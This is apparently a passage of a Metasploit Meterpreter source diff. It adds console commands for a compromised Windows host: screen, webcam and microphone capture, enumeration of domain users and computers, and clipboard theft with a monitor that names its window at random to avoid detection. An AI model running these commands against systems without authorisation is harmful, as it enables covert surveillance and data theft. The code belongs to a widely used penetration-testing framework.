  462. data/lib/rex/exploitation/omelet.rb.ut.rb +0 -27
  463. data/lib/rex/exploitation/opcodedb.rb.ut.rb +0 -280
  464. data/lib/rex/exploitation/seh.rb.ut.rb +0 -20
  465. data/lib/rex/file.rb.ut.rb +0 -17
  466. data/lib/rex/io/ring_buffer.rb.ut.rb +0 -135
  467. data/lib/rex/nop/opty2.rb.ut.rb +0 -24
  468. data/lib/rex/parser/arguments.rb.ut.rb +0 -68
  469. data/lib/rex/parser/ini.rb.ut.rb +0 -30
  470. data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +0 -18
  471. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +0 -39
  472. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +0 -37
  473. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb.ut.rb +0 -52
  474. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +0 -43
  475. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +0 -128
  476. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb.ut.rb +0 -64
  477. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb.ut.rb +0 -29
  478. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb +0 -155
  479. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb.ut.rb +0 -128
  480. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +0 -124
  481. data/lib/rex/proto.rb.ts.rb +0 -9
  482. data/lib/rex/proto/dcerpc.rb.ts.rb +0 -10
  483. data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -492
  484. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +0 -86
  485. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +0 -42
  486. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +0 -57
  487. data/lib/rex/proto/dcerpc/response.rb.ut.rb +0 -16
  488. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +0 -47
  489. data/lib/rex/proto/drda.rb.ts.rb +0 -18
  490. data/lib/rex/proto/drda/constants.rb.ut.rb +0 -24
  491. data/lib/rex/proto/drda/packet.rb.ut.rb +0 -110
  492. data/lib/rex/proto/drda/utils.rb.ut.rb +0 -85
  493. data/lib/rex/proto/http.rb.ts.rb +0 -13
  494. data/lib/rex/proto/http/client.rb.ut.rb +0 -96
  495. data/lib/rex/proto/http/handler/erb.rb.ut.rb +0 -22
  496. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +0 -1
  497. data/lib/rex/proto/http/handler/proc.rb.ut.rb +0 -25
  498. data/lib/rex/proto/http/header.rb.ut.rb +0 -47
  499. data/lib/rex/proto/http/packet.rb.ut.rb +0 -166
  500. data/lib/rex/proto/http/request.rb.ut.rb +0 -215
  501. data/lib/rex/proto/http/response.rb.ut.rb +0 -150
  502. data/lib/rex/proto/http/server.rb.ut.rb +0 -80
  503. data/lib/rex/proto/ntlm.rb.ut.rb +0 -181
  504. data/lib/rex/proto/rfb.rb.ut.rb +0 -40
  505. data/lib/rex/proto/smb.rb.ts.rb +0 -9
  506. data/lib/rex/proto/smb/client.rb.ut.rb +0 -224
  507. data/lib/rex/proto/smb/constants.rb.ut.rb +0 -19
  508. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +0 -129
  509. data/lib/rex/proto/smb/utils.rb.ut.rb +0 -21
  510. data/lib/rex/proto/tftp/server.rb.ut.rb +0 -29
  511. data/lib/rex/service_manager.rb.ut.rb +0 -33
  512. data/lib/rex/socket.rb.ut.rb +0 -108
  513. data/lib/rex/socket/comm/local.rb.ut.rb +0 -76
  514. data/lib/rex/socket/parameters.rb.ut.rb +0 -52
  515. data/lib/rex/socket/range_walker.rb.ut.rb +0 -56
  516. data/lib/rex/socket/ssl_tcp.rb.ut.rb +0 -40
  517. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +0 -62
  518. data/lib/rex/socket/subnet_walker.rb.ut.rb +0 -29
  519. data/lib/rex/socket/switch_board.rb.ut.rb +0 -53
  520. data/lib/rex/socket/tcp.rb.ut.rb +0 -65
  521. data/lib/rex/socket/tcp_server.rb.ut.rb +0 -45
  522. data/lib/rex/socket/udp.rb.ut.rb +0 -45
  523. data/lib/rex/test.rb +0 -36
  524. data/lib/rex/text.rb.ut.rb +0 -193
  525. data/lib/rex/transformer.rb.ut.rb +0 -39
  526. data/lib/rex/ui/text/color.rb.ut.rb +0 -19
  527. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +0 -35
  528. data/lib/rex/ui/text/table.rb.ut.rb +0 -56
@@ -13,92 +13,92 @@ module Ui
13
13
  ###
14
14
  class Console::CommandDispatcher::Espia
15
15
 
16
- Klass = Console::CommandDispatcher::Espia
17
-
18
- include Console::CommandDispatcher
19
-
20
- #
21
- # Initializes an instance of the espia command interaction.
22
- #
23
- def initialize(shell)
24
- super
25
- end
26
-
27
- #
28
- # List of supported commands.
29
- #
30
- def commands
31
- {
32
- # "dev_image" => "Attempt to grab a frame from webcam",
33
- # "dev_audio" => "Attempt to record microphone audio",
34
- "screengrab" => "Attempt to grab screen shot from process's active desktop"
35
- }
36
- end
37
-
38
- def cmd_dev_image()
39
- client.espia.espia_video_get_dev_image()
40
- print_line("[*] Done.")
41
-
42
- return true
43
- end
44
-
45
- def cmd_dev_audio(*args)
46
- maxrec = 60
47
-
48
- if (args.length < 1)
49
- print_line("Usage: dev_audio <rec_secs>\n")
50
- print_line("Record mic audio\n")
51
- return true
52
- end
53
-
54
- secs = args[0].to_i
55
- if secs > 0 and secs <= maxrec
56
- milsecs = secs*1000
57
- print_line("[*] Recording #{milsecs} miliseconds.\n")
58
- client.espia.espia_audio_get_dev_audio(milsecs)
59
- print_line("[*] Done.")
60
- else
61
- print_line("[-] Error: Recording time 0 to 60 secs \n")
62
- end
63
-
64
- return true
65
- end
66
-
67
- #
68
- # Grab a screenshot of the current interactive desktop.
69
- #
70
- def cmd_screengrab( *args )
71
- if( args[0] and args[0] == "-h" )
72
- print_line("Usage: screengrab <path.jpeg> [view in browser: true|false]\n")
73
- print_line("Grab a screenshot of the current interactive desktop.\n")
74
- return true
75
- end
76
-
77
- show = true
78
- show = false if (args[1] and args[1] =~ /^(f|n|0)/i)
79
-
80
- path = args[0] || Rex::Text.rand_text_alpha(8) + ".jpeg"
81
-
82
- data = client.espia.espia_image_get_dev_screen
83
-
84
- if( data )
85
- ::File.open( path, 'wb' ) do |fd|
86
- fd.write( data )
87
- end
88
- path = ::File.expand_path( path )
89
- print_line( "Screenshot saved to: #{path}" )
90
- Rex::Compat.open_file( path ) if show
91
- end
92
-
93
- return true
94
- end
95
-
96
- #
97
- # Name for this dispatcher
98
- #
99
- def name
100
- "Espia"
101
- end
16
+ Klass = Console::CommandDispatcher::Espia
17
+
18
+ include Console::CommandDispatcher
19
+
20
+ #
21
+ # Initializes an instance of the espia command interaction.
22
+ #
23
+ def initialize(shell)
24
+ super
25
+ end
26
+
27
+ #
28
+ # List of supported commands.
29
+ #
30
+ def commands
31
+ {
32
+ # "dev_image" => "Attempt to grab a frame from webcam",
33
+ # "dev_audio" => "Attempt to record microphone audio",
34
+ "screengrab" => "Attempt to grab screen shot from process's active desktop"
35
+ }
36
+ end
37
+
38
+ def cmd_dev_image()
39
+ client.espia.espia_video_get_dev_image()
40
+ print_line("[*] Done.")
41
+
42
+ return true
43
+ end
44
+
45
+ def cmd_dev_audio(*args)
46
+ maxrec = 60
47
+
48
+ if (args.length < 1)
49
+ print_line("Usage: dev_audio <rec_secs>\n")
50
+ print_line("Record mic audio\n")
51
+ return true
52
+ end
53
+
54
+ secs = args[0].to_i
55
+ if secs > 0 and secs <= maxrec
56
+ milsecs = secs*1000
57
+ print_line("[*] Recording #{milsecs} miliseconds.\n")
58
+ client.espia.espia_audio_get_dev_audio(milsecs)
59
+ print_line("[*] Done.")
60
+ else
61
+ print_line("[-] Error: Recording time 0 to 60 secs \n")
62
+ end
63
+
64
+ return true
65
+ end
66
+
67
+ #
68
+ # Grab a screenshot of the current interactive desktop.
69
+ #
70
+ def cmd_screengrab( *args )
71
+ if( args[0] and args[0] == "-h" )
72
+ print_line("Usage: screengrab <path.jpeg> [view in browser: true|false]\n")
73
+ print_line("Grab a screenshot of the current interactive desktop.\n")
74
+ return true
75
+ end
76
+
77
+ show = true
78
+ show = false if (args[1] and args[1] =~ /^(f|n|0)/i)
79
+
80
+ path = args[0] || Rex::Text.rand_text_alpha(8) + ".jpeg"
81
+
82
+ data = client.espia.espia_image_get_dev_screen
83
+
84
+ if( data )
85
+ ::File.open( path, 'wb' ) do |fd|
86
+ fd.write( data )
87
+ end
88
+ path = ::File.expand_path( path )
89
+ print_line( "Screenshot saved to: #{path}" )
90
+ Rex::Compat.open_file( path ) if show
91
+ end
92
+
93
+ return true
94
+ end
95
+
96
+ #
97
+ # Name for this dispatcher
98
+ #
99
+ def name
100
+ "Espia"
101
+ end
102
102
 
103
103
  end
104
104
 
@@ -0,0 +1,65 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Ui
8
+
9
+ ###
10
+ #
11
+ # Extended API user interface.
12
+ #
13
+ ###
14
+ class Console::CommandDispatcher::Extapi
15
+
16
+ require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/window'
17
+ require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/service'
18
+ require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard'
19
+ require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi'
20
+ require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi'
21
+
22
+ Klass = Console::CommandDispatcher::Extapi
23
+
24
+ Dispatchers =
25
+ [
26
+ Klass::Window,
27
+ Klass::Service,
28
+ Klass::Clipboard,
29
+ Klass::Adsi,
30
+ Klass::Wmi
31
+ ]
32
+
33
+ include Console::CommandDispatcher
34
+
35
+ #
36
+ # Initializes an instance of the extended API command interaction.
37
+ #
38
+ def initialize(shell)
39
+ super
40
+
41
+ Dispatchers.each { |d| shell.enstack_dispatcher(d) }
42
+ end
43
+
44
+ #
45
+ #
46
+ # List of supported commands.
47
+ #
48
+ def commands
49
+ {
50
+ }
51
+ end
52
+
53
+ #
54
+ # Name for this dispatcher
55
+ #
56
+ def name
57
+ "Extended API Extension"
58
+ end
59
+
60
+ end
61
+
62
+ end
63
+ end
64
+ end
65
+ end
@@ -0,0 +1,198 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Ui
8
+
9
+ ###
10
+ #
11
+ # Extended API ADSI management user interface.
12
+ #
13
+ ###
14
+ class Console::CommandDispatcher::Extapi::Adsi
15
+
16
+ Klass = Console::CommandDispatcher::Extapi::Adsi
17
+
18
+ include Console::CommandDispatcher
19
+
20
+ # Zero indicates "no limit"
21
+ DEFAULT_MAX_RESULTS = 0
22
+ DEFAULT_PAGE_SIZE = 0
23
+
24
+ #
25
+ # List of supported commands.
26
+ #
27
+ def commands
28
+ {
29
+ "adsi_user_enum" => "Enumerate all users on the specified domain.",
30
+ "adsi_computer_enum" => "Enumerate all computers on the specified domain.",
31
+ "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter."
32
+ }
33
+ end
34
+
35
+ #
36
+ # Name for this dispatcher
37
+ #
38
+ def name
39
+ "Extapi: ADSI Management"
40
+ end
41
+
42
+ #
43
+ # Options for the adsi_user_enum command.
44
+ #
45
+ @@adsi_user_enum_opts = Rex::Parser::Arguments.new(
46
+ "-h" => [ false, "Help banner" ],
47
+ "-m" => [ true, "Maximum results to return." ],
48
+ "-p" => [ true, "Result set page size." ]
49
+ )
50
+
51
+ def adsi_user_enum_usage
52
+ print(
53
+ "\nUsage: adsi_user_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" +
54
+ "Enumerate the users on the target domain.\n\n" +
55
+ "Enumeration returns information such as the user name, SAM account name, locked\n" +
56
+ "status, desc, and comment.\n" +
57
+ @@adsi_user_enum_opts.usage)
58
+ end
59
+
60
+ #
61
+ # Enumerate domain users.
62
+ #
63
+ def cmd_adsi_user_enum(*args)
64
+ args.unshift("-h") if args.length == 0
65
+ if args.include?("-h")
66
+ adsi_user_enum_usage
67
+ return true
68
+ end
69
+
70
+ domain = args.shift
71
+ filter = "(objectClass=user)"
72
+ fields = [
73
+ "samaccountname",
74
+ "name",
75
+ "distinguishedname",
76
+ "description",
77
+ "comment"
78
+ ]
79
+ args = [domain, filter] + fields + args
80
+ return cmd_adsi_domain_query(*args)
81
+ end
82
+
83
+ #
84
+ # Options for the adsi_computer_enum command.
85
+ #
86
+ @@adsi_computer_enum_opts = Rex::Parser::Arguments.new(
87
+ "-h" => [ false, "Help banner" ],
88
+ "-m" => [ true, "Maximum results to return." ],
89
+ "-p" => [ true, "Result set page size." ]
90
+ )
91
+
92
+ def adsi_computer_enum_usage
93
+ print(
94
+ "\nUsage: adsi_computer_enum <domain> [-h] [-m maxresults] [-p pagesize]\n\n" +
95
+ "Enumerate the computers on the target domain.\n\n" +
96
+ "Enumeration returns information such as the computer name, desc, and comment.\n" +
97
+ @@adsi_computer_enum_opts.usage)
98
+ end
99
+
100
+ #
101
+ # Enumerate domain computers.
102
+ #
103
+ def cmd_adsi_computer_enum(*args)
104
+ args.unshift("-h") if args.length == 0
105
+ if args.include?("-h")
106
+ adsi_computer_enum_usage
107
+ return true
108
+ end
109
+
110
+ domain = args.shift
111
+ filter = "(objectClass=computer)"
112
+ fields = [
113
+ "name",
114
+ "distinguishedname",
115
+ "description",
116
+ "comment"
117
+ ]
118
+ args = [domain, filter] + fields + args
119
+ return cmd_adsi_domain_query(*args)
120
+ end
121
+
122
+ #
123
+ # Options for the adsi_domain_query command.
124
+ #
125
+ @@adsi_domain_query_opts = Rex::Parser::Arguments.new(
126
+ "-h" => [ false, "Help banner" ],
127
+ "-m" => [ true, "Maximum results to return." ],
128
+ "-p" => [ true, "Result set page size." ]
129
+ )
130
+
131
+ def adsi_domain_query_usage
132
+ print(
133
+ "\nUsage: adsi_domain_query <domain> <filter> <field 1> [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" +
134
+ "Enumerate the objects on the target domain.\n\n" +
135
+ "Enumeration returns the set of fields that are specified.\n" +
136
+ @@adsi_domain_query_opts.usage)
137
+ end
138
+
139
+ #
140
+ # Enumerate domain objects.
141
+ #
142
+ def cmd_adsi_domain_query(*args)
143
+ page_size = DEFAULT_PAGE_SIZE
144
+ max_results = DEFAULT_MAX_RESULTS
145
+
146
+ args.unshift("-h") if args.length < 3
147
+
148
+ @@adsi_domain_query_opts.parse(args) { |opt, idx, val|
149
+ case opt
150
+ when "-p"
151
+ page_size = val.to_i
152
+ when "-m"
153
+ max_results = val.to_i
154
+ when "-h"
155
+ adsi_domain_query_usage
156
+ return true
157
+ end
158
+ }
159
+
160
+ # Assume that the flags are passed in at the end. Safe?
161
+ switch_index = args.index { |a| a.start_with?("-") }
162
+ if switch_index
163
+ args = args.first(switch_index)
164
+ end
165
+
166
+ domain = args.shift
167
+ filter = args.shift
168
+
169
+ objects = client.extapi.adsi.domain_query(domain, filter, max_results, page_size, args)
170
+
171
+ table = Rex::Ui::Text::Table.new(
172
+ 'Header' => "#{domain} Objects",
173
+ 'Indent' => 0,
174
+ 'SortIndex' => 0,
175
+ 'Columns' => objects[:fields]
176
+ )
177
+
178
+ objects[:results].each do |c|
179
+ table << c
180
+ end
181
+
182
+ print_line
183
+ print_line(table.to_s)
184
+
185
+ print_line("Total objects: #{objects[:results].length}")
186
+
187
+ print_line
188
+
189
+ return true
190
+ end
191
+
192
+ end
193
+
194
+ end
195
+ end
196
+ end
197
+ end
198
+
@@ -0,0 +1,444 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/post/meterpreter'
3
+
4
+ module Rex
5
+ module Post
6
+ module Meterpreter
7
+ module Ui
8
+ ###
9
+ #
10
+ # Extended API window management user interface.
11
+ #
12
+ ###
13
+ class Console::CommandDispatcher::Extapi::Clipboard
14
+
15
+ Klass = Console::CommandDispatcher::Extapi::Clipboard
16
+
17
+ include Console::CommandDispatcher
18
+
19
+ #
20
+ # List of supported commands.
21
+ #
22
+ def commands
23
+ {
24
+ "clipboard_get_data" => "Read the target's current clipboard (text, files, images)",
25
+ "clipboard_set_text" => "Write text to the target's clipboard",
26
+ "clipboard_monitor_start" => "Start the clipboard monitor",
27
+ "clipboard_monitor_pause" => "Pause the active clipboard monitor",
28
+ "clipboard_monitor_resume" => "Resume the paused clipboard monitor",
29
+ "clipboard_monitor_dump" => "Dump all captured clipboard content",
30
+ "clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it",
31
+ "clipboard_monitor_stop" => "Stop the clipboard monitor"
32
+ }
33
+ end
34
+
35
+ #
36
+ # Name for this dispatcher
37
+ #
38
+ def name
39
+ "Extapi: Clipboard Management"
40
+ end
41
+
42
+ #
43
+ # Options for the clipboard_get_data command.
44
+ #
45
+ @@get_data_opts = Rex::Parser::Arguments.new(
46
+ "-h" => [ false, "Help banner" ],
47
+ "-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ]
48
+ )
49
+
50
+ def print_clipboard_get_data_usage
51
+ print(
52
+ "\nUsage: clipboard_get_data [-h] [-d]\n\n" +
53
+ "Attempts to read the data from the target's clipboard. If the data is in a\n" +
54
+ "supported format, it is read and returned to the user.\n" +
55
+ @@get_data_opts.usage + "\n")
56
+ end
57
+
58
+ #
59
+ # Get the data from the target's clipboard
60
+ #
61
+ def cmd_clipboard_get_data(*args)
62
+ download_content = false
63
+ download_path = nil
64
+ @@get_data_opts.parse(args) { |opt, idx, val|
65
+ case opt
66
+ when "-d"
67
+ download_content = true
68
+ download_path = val
69
+ when "-h"
70
+ print_clipboard_get_data_usage
71
+ return true
72
+ end
73
+ }
74
+
75
+ dump = client.extapi.clipboard.get_data(download_content)
76
+
77
+ if dump.length == 0
78
+ print_error( "The current Clipboard data format is not supported." )
79
+ return false
80
+ end
81
+
82
+ parse_dump(dump, download_content, download_content, download_path)
83
+ return true
84
+ end
85
+
86
+ #
87
+ # Options for the clipboard_set_text command.
88
+ #
89
+ @@set_text_opts = Rex::Parser::Arguments.new(
90
+ "-h" => [ false, "Help banner" ]
91
+ )
92
+
93
+ def print_clipboard_set_text_usage
94
+ print(
95
+ "\nUsage: clipboard_set_text [-h] <text>\n\n" +
96
+ "Set the target's clipboard to the given text value.\n\n")
97
+ end
98
+
99
+ #
100
+ # Set the clipboard data to the given text.
101
+ #
102
+ def cmd_clipboard_set_text(*args)
103
+ args.unshift "-h" if args.length == 0
104
+
105
+ @@set_text_opts.parse(args) { |opt, idx, val|
106
+ case opt
107
+ when "-h"
108
+ print_clipboard_set_text_usage
109
+ return true
110
+ end
111
+ }
112
+
113
+ return client.extapi.clipboard.set_text(args.join(" "))
114
+ end
115
+
116
+ #
117
+ # Options for the clipboard_monitor_start command.
118
+ #
119
+ @@monitor_start_opts = Rex::Parser::Arguments.new(
120
+ "-h" => [ false, "Help banner" ],
121
+ "-i" => [ true, "Capture image content when monitoring (default: true)" ]
122
+ )
123
+
124
+ #
125
+ # Help for the clipboard_monitor_start command.
126
+ #
127
+ def print_clipboard_monitor_start_usage
128
+ print(
129
+ "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" +
130
+ "Starts a background clipboard monitoring thread. The thread watches\n" +
131
+ "the clipboard on the target, under the context of the current desktop, and when\n" +
132
+ "changes are detected the contents of the clipboard are captured. Contents can be\n" +
133
+ "dumped periodically. Image content can be captured as well (and will be by default)\n" +
134
+ "however this can consume quite a bit of memory.\n\n" +
135
+ @@monitor_start_opts.usage + "\n")
136
+ end
137
+
138
+ #
139
+ # Start the clipboard monitor.
140
+ #
141
+ def cmd_clipboard_monitor_start(*args)
142
+ capture_images = true
143
+
144
+ @@monitor_start_opts.parse(args) { |opt, idx, val|
145
+ case opt
146
+ when "-i"
147
+ # default this to true
148
+ capture_images = val.downcase != 'false'
149
+ when "-h"
150
+ print_clipboard_monitor_start_usage
151
+ return true
152
+ end
153
+ }
154
+
155
+ client.extapi.clipboard.monitor_start({
156
+ # random class and window name so that it isn't easy
157
+ # to track via a script
158
+ :wincls => Rex::Text.rand_text_alpha(8),
159
+ :cap_img => capture_images
160
+ })
161
+
162
+ print_good("Clipboard monitor started")
163
+ end
164
+
165
+ #
166
+ # Options for the clipboard_monitor_purge command.
167
+ #
168
+ @@monitor_purge_opts = Rex::Parser::Arguments.new(
169
+ "-h" => [ false, "Help banner" ]
170
+ )
171
+
172
+ #
173
+ # Help for the clipboard_monitor_purge command.
174
+ #
175
+ def print_clipboard_monitor_purge_usage
176
+ print("\nUsage: clipboard_monitor_purge [-h]\n\n" +
177
+ "Purge the captured contents from the monitor. This does not stop\n" +
178
+ "the monitor from running, it just removes captured content.\n\n" +
179
+ @@monitor_purge_opts.usage + "\n")
180
+ end
181
+
182
+ #
183
+ # Purge the clipboard monitor captured contents
184
+ #
185
+ def cmd_clipboard_monitor_purge(*args)
186
+ @@monitor_purge_opts.parse(args) { |opt, idx, val|
187
+ case opt
188
+ when "-h"
189
+ print_clipboard_monitor_purge_usage
190
+ return true
191
+ end
192
+ }
193
+ client.extapi.clipboard.monitor_purge
194
+ print_good("Captured clipboard contents purged successfully")
195
+ end
196
+
197
+ #
198
+ # Options for the clipboard_monitor_pause command.
199
+ #
200
+ @@monitor_pause_opts = Rex::Parser::Arguments.new(
201
+ "-h" => [ false, "Help banner" ]
202
+ )
203
+
204
+ #
205
+ # Help for the clipboard_monitor_pause command.
206
+ #
207
+ def print_clipboard_monitor_pause_usage
208
+ print("\nUsage: clipboard_monitor_pause [-h]\n\n" +
209
+ "Pause the currently running clipboard monitor thread.\n\n" +
210
+ @@monitor_pause_opts.usage + "\n")
211
+ end
212
+
213
+ #
214
+ # Pause the clipboard monitor captured contents
215
+ #
216
+ def cmd_clipboard_monitor_pause(*args)
217
+ @@monitor_pause_opts.parse(args) { |opt, idx, val|
218
+ case opt
219
+ when "-h"
220
+ print_clipboard_monitor_pause_usage
221
+ return true
222
+ end
223
+ }
224
+ client.extapi.clipboard.monitor_pause
225
+ print_good("Clipboard monitor paused successfully")
226
+ end
227
+
228
+ #
229
+ # Options for the clipboard_monitor_resumse command.
230
+ #
231
+ @@monitor_resume_opts = Rex::Parser::Arguments.new(
232
+ "-h" => [ false, "Help banner" ]
233
+ )
234
+
235
+ #
236
+ # Help for the clipboard_monitor_resume command.
237
+ #
238
+ def print_clipboard_monitor_resume_usage
239
+ print("\nUsage: clipboard_monitor_resume [-h]\n\n" +
240
+ "Resume the currently paused clipboard monitor thread.\n\n" +
241
+ @@monitor_resume_opts.usage + "\n")
242
+ end
243
+
244
+ #
245
+ # resume the clipboard monitor captured contents
246
+ #
247
+ def cmd_clipboard_monitor_resume(*args)
248
+ @@monitor_resume_opts.parse(args) { |opt, idx, val|
249
+ case opt
250
+ when "-h"
251
+ print_clipboard_monitor_resume_usage
252
+ return true
253
+ end
254
+ }
255
+ client.extapi.clipboard.monitor_resume
256
+ print_good("Clipboard monitor resumed successfully")
257
+ end
258
+
259
+ #
260
+ # Options for the clipboard_monitor_dump command.
261
+ #
262
+ @@monitor_dump_opts = Rex::Parser::Arguments.new(
263
+ "-h" => [ false, "Help banner" ],
264
+ "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
265
+ "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
266
+ "-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ],
267
+ "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
268
+ )
269
+
270
+ #
271
+ # Help for the clipboard_monitor_dump command.
272
+ #
273
+ def print_clipboard_monitor_dump_usage
274
+ print(
275
+ "\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" +
276
+ "Dump the capture clipboard contents to the local machine..\n\n" +
277
+ @@monitor_dump_opts.usage + "\n")
278
+ end
279
+
280
+ #
281
+ # Dump the clipboard monitor contents to the local machine.
282
+ #
283
+ def cmd_clipboard_monitor_dump(*args)
284
+ purge = true
285
+ download_images = true
286
+ download_files = true
287
+ download_path = nil
288
+
289
+ @@monitor_dump_opts.parse(args) { |opt, idx, val|
290
+ case opt
291
+ when "-d"
292
+ download_path = val
293
+ when "-i"
294
+ download_images = val.downcase != 'false'
295
+ when "-f"
296
+ download_files = val.downcase != 'false'
297
+ when "-p"
298
+ purge = val.downcase != 'false'
299
+ when "-h"
300
+ print_clipboard_monitor_dump_usage
301
+ return true
302
+ end
303
+ }
304
+
305
+ dump = client.extapi.clipboard.monitor_dump({
306
+ :include_images => download_images,
307
+ :purge => purge
308
+ })
309
+
310
+ parse_dump(dump, download_images, download_files, download_path)
311
+
312
+ print_good("Clipboard monitor dumped")
313
+ end
314
+
315
+ #
316
+ # Options for the clipboard_monitor_stop command.
317
+ #
318
+ @@monitor_stop_opts = Rex::Parser::Arguments.new(
319
+ "-h" => [ false, "Help banner" ],
320
+ "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ],
321
+ "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
322
+ "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
323
+ "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
324
+ )
325
+
326
+ #
327
+ # Help for the clipboard_monitor_stop command.
328
+ #
329
+ def print_clipboard_monitor_stop_usage
330
+ print(
331
+ "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" +
332
+ "Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" +
333
+ @@monitor_stop_opts.usage + "\n")
334
+ end
335
+
336
+ #
337
+ # Stop the clipboard monitor.
338
+ #
339
+ def cmd_clipboard_monitor_stop(*args)
340
+ dump_data = true
341
+ download_images = true
342
+ download_files = true
343
+ download_path = nil
344
+
345
+ @@monitor_stop_opts.parse(args) { |opt, idx, val|
346
+ case opt
347
+ when "-d"
348
+ download_path = val
349
+ when "-x"
350
+ dump_data = val.downcase != 'false'
351
+ when "-i"
352
+ download_images = val.downcase != 'false'
353
+ when "-f"
354
+ download_files = val.downcase != 'false'
355
+ when "-h"
356
+ print_clipboard_monitor_stop_usage
357
+ return true
358
+ end
359
+ }
360
+
361
+ dump = client.extapi.clipboard.monitor_stop({
362
+ :dump => dump_data,
363
+ :include_images => download_images
364
+ })
365
+
366
+ parse_dump(dump, download_images, download_files, download_path) if dump_data
367
+
368
+ print_good("Clipboard monitor stopped")
369
+ end
370
+
371
+ private
372
+
373
+ def download_file( dest_folder, source )
374
+ stat = client.fs.file.stat( source )
375
+ base = ::Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File.basename( source )
376
+ dest = File.join( dest_folder, base )
377
+
378
+ if stat.directory?
379
+ client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
380
+ print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
381
+ client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
382
+ }
383
+ elsif stat.file?
384
+ client.fs.file.download( dest, source ) { |step, src, dst|
385
+ print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
386
+ client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
387
+ }
388
+ end
389
+ end
390
+
391
+ def parse_dump(dump, get_images, get_files, download_path)
392
+ loot_dir = download_path || "."
393
+ if (get_images || get_files) && !::File.directory?( loot_dir )
394
+ ::FileUtils.mkdir_p( loot_dir )
395
+ end
396
+
397
+ dump.each do |ts, elements|
398
+ elements.each do |type, v|
399
+ title = "#{type} captured at #{ts}"
400
+ under = "=" * title.length
401
+ print_line(title)
402
+ print_line(under)
403
+
404
+ case type
405
+ when 'Text'
406
+ print_line(v)
407
+
408
+ when 'Files'
409
+ total = 0
410
+ v.each do |f|
411
+ print_line("Remote Path : #{f[:name]}")
412
+ print_line("File size : #{f[:size]} bytes")
413
+ if get_files
414
+ download_file( loot_dir, f[:name] )
415
+ end
416
+ print_line
417
+ total += f[:size]
418
+ end
419
+
420
+ when 'Image'
421
+ print_line("Dimensions : #{v[:width]} x #{v[:height]}")
422
+ if get_images and !v[:data].nil?
423
+ file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg"
424
+ path = File.join(loot_dir, file)
425
+ path = ::File.expand_path(path)
426
+ ::File.open(path, 'wb') do |x|
427
+ x.write v[:data]
428
+ end
429
+ print_line("Downloaded : #{path}")
430
+ end
431
+ end
432
+ print_line(under)
433
+ print_line
434
+ end
435
+ end
436
+ end
437
+
438
+ end
439
+
440
+ end
441
+ end
442
+ end
443
+ end
444
+